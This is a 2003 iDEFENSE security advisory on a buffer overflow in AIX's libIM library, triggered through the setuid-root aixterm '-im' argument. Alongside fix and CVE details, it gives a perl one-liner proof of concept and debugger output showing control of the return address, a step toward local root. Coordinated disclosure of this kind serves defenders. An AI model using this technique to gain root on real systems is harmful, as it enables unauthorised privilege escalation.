iDEFENSE Security Advisory 02.12.03: Buffer Overflow in AIX libIM.a

Type securityvulns
Reporter Securityvulns
Modified 2003-02-14T00:00:00



iDEFENSE Security Advisory 02.12.03: Buffer Overflow in AIX libIM.a February 12, 2003


Advanced Interactive eXecutive (AIX) is IBM Corp.'s Unix operating system implementation, native to pSeries and RS/6000 servers. More information is available at .

AIX provides support for National Language Support (NLS). From the AIX manual available at at_lang_support.htm, "NLS provides commands and Standard C Library subroutines for a single worldwide system base. An internationalized system has no built-in assumptions or dependencies on language-specific or cultural-specific conventions such as:

Code sets Character classifications Character comparison rules Character collation order Numeric and monetary formatting Date and time formatting Message-text language

All information pertaining to cultural conventions and language is obtained at process run time."

libIM is a system library used by NLS on AIX.


Locally exploiting a buffer overflow within libIM allows an attacker to obtain the privileges of an application calling the library. The "/usr/lpp/X11/bin/aixterm" binary calls the libIM library and is then installed setuid root by default on AIX.

The "-im" command line argument used by aixterm causes the binary to crash when filled with a string about 50 bytes in length. This allows an attacker to gain control of the return address of the executing function, thereby allowing code execution with root privileges.


Exploitation can provide local attackers with root access to an affected system.

The following shows how the "-im" command line argument can be filled and cause the crash of aixterm, giving the user control of the return address. We will write the value of 0x11223344 into the appropriate register:

$ ls -la /usr/lpp/X11/bin/aixterm - -rwsr-xr-x 1 root system 376384 Mar 18 2001 /usr/lpp/X11/bin/aixterm $ cp -p /usr/lpp/X11/bin/aixterm test $ ./test -im `perl -e'print"A"x47;print pack("l",0x11223344)'` 1363-009 aixterm: Cannot open font -dt-interface user-medium-r-normal-l--------. Check path name and permissions. 1363-009 aixterm: Cannot open font - --roman-medium-r-normal--8-50-100-100-c--ISO8859-1. Check path name and permissions. Illegal instruction (core dumped) $ dbx ./test core Type 'help' for help. reading symbolic information ...warning: no source compiled with -g

[using memory image in core] warning: Unable to access address 0x41414149 from core

Illegal instruction (reserved addressing fault) in . at 0x11223344 ($t1) warning: Unable to access address 0x11223344 from core 0x11223344 (???) warning: Unable to access address 0x11223344 from core ffffffff warning: Unable to access address 0x11223344 from core fnmadd.
fr31,fr31,fr31,fr31 (dbx)


Applications using libIM on AIX 4.3, 5.1 or 5.2 are affected.


A. E-fix Temporary fixes for AIX 4.3.3, 5.1.0, and 5.2.0 systems are available.

The temporary fixes can be downloaded via ftp from:

The efix compressed tarball contains three fixes: one each for AIX 4.3.3, AIX 5.1.0 and AIX 5.2.0. It also includes an advisory and a README file with installation instructions.

B. Official Fix IBM will provide the following fixes:

  APAR number for AIX 4.3.3: IY40307
  APAR number for AIX 5.1.0: IY40317
  APAR number for AIX 5.2.0: IY40320

NOTE: Fixes will not be provided for versions prior to 4.3 as these are no longer supported by IBM. Affected customers are urged to upgrade to 4.3.3 or 5.1.0 at the latest maintenance level.


The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has assigned the identification number CAN-2002-0087 to this issue.


10/31/2002 Issue disclosed to iDEFENSE 01/28/2003 IBM notifed ( 01/29/2003 Response received from Shiva Persaud ( 02/11/2003 iDEFENSE clients notified 02/12/2003 Coordinated Public Disclosure


Euan Briggs ( discovered this vulnerability.

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